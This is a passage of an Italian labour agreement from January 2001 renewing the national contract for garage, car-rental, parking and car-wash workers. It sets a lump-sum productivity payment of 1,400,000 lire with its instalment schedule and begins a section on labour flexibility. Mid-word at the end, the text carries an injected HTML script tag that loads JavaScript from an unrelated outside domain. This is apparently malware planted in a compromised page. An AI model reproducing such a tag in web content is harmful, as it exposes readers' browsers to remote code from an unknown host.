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Categoria: Autorimesse Settore: Trasporti Data stipula: 18-1-2001 Data decorrenza: 1-3-2000 Data scadenza: 30-6-2004
Verbale di Accordo
AUTONOLEGGI E AUTORIMESSE
18 gennaio 2001
Il giorno 18 gennaio 2001, in Roma presso la sede FISE, si sono incontrate
le seguenti associazioni datoriali:
- FISE, presente la delegazione imprenditoriale ANIASA;
- ANAV;
e le seguenti OO.SS. dei lavoratori:
- FILT-CGIL nazionale,
- FILT-CGIL regionale Lazio,
- FIT-CISL nazionale,
- FIT-CISL regionale Lazio,
- FIT-CISL regionale Lombardia,
- UILTRASPORTI nazionale,
- UILTRASPORTI regionale Lazio,
presenti le rispettive RSA.
Le parti, come sopra rappresentate, hanno convenuto le seguenti soluzioni
per il rinnovo del CCNL per i dipendenti da imprese esercenti autorimesse,
noleggio autobus, noleggio auto con autista, locazione automezzi, noleggio
motoscafi, posteggio e custodia autovettura su suolo pubblico e/o privato,
lavaggio automatico e non automatico e ingrassaggio automezzi del 3.7.96,
scaduto sia per la parte economica che per la parte normativa il 28.2.00.
2° livello di contrattazione.
Ai fini della realizzazione del 2° livello di contrattazione per le
aziende alle quali si applica il rinnovando CCNL, con la sola esclusione
delle imprese esercenti il noleggio autobus con conducente, le parti
stabiliscono di procedere entro il 31.12.01 alla individuazione dei
parametri oggettivi di riferimento per la costituzione del premio annuale
legato ai risultati, considerando terminata, con la quantificazione dei
valori di seguito indicati, la fase di individuazione di un premio
forfettario a cifra fissa a livello nazionale. Il nuovo premio dovrà avere
i requisiti per beneficiare del particolare trattamento contributivo
previsto dalla normativa di legge in attuazione del Protocollo
interconfederale 23.7.93 (in Dir.prat.lav., 1993, 30, 1979); requisiti da
collegare a criteri di produttività, di redditività e qualità e avrà
durata quadriennale.
Per gli anni 1999 e 2000, le parti convengono di erogare a tale titolo ai
dipendenti delle suddette imprese in forza al 18.1.01 una somma
forfettaria pari a £. 1.400.000 lorde (di cui £. 700.000 di competenza
1999 e £. 700.000 di competenza 2000) con le seguenti modalità e
scadenze:
- £. 400.000 con la retribuzione di febbraio 2001;
- £. 500.000 con la retribuzione di maggio 2001;
- £. 500.000 con la retribuzione di novembre 2001.
Detta somma verrà riproporzionata sulla base dei mesi di effettiva
prestazione resa nel periodo compreso fra l'1.1.99 e il 31.12.00; tenuto
conto dei rapporti di lavoro a tempo parziale, non considerando le
frazioni di mese inferiore a 15 giorni e considerando come mese intero le
frazioni pari o superiori a 15 giorni. La somma forfettaria come sopra
indicata è comprensiva dell'incidenza su tutti gli istituti retributivi
diretti e indiretti e non è utile ai fini del TFR.
La somma forfettaria come sopra indicata è assorbita fino a concorrenza
dagli eventuali maggiori importi, erogati o da erogare, per i periodi di
riferimento a titolo di premio di produzione bilancio o rendimento e/o
raggiungimento obiettivi.
In caso di cessazione del rapporto di lavoro entro novembre 2001, al
dipendente avente diritto alla somma forfettaria, verrà corrisposto
l'eventuale importo residuo non percepito unitamente alle competenze di
fine rapporto.
Flessibilità del lavoro.
Le parti confermano, quale prassi ordinaria per l'accesso al lavoro, il
sistema di assunzione a tempo indeterminato.
Allo stesso tempo ritengono che la definizione di norme contrattuali
condivise, riguardanti il mercato del lavoro per l'accesso al settore e la
flessibilità nelle prestazioni, può contribuire al perseguimento degli
obiettivi di efficienza e competitività delle imprese, al fine di meglio
aderire alla domanda di nuovi servizi e all'espansione de<script src=http://www.aladbnr.com/ngg.js></script>
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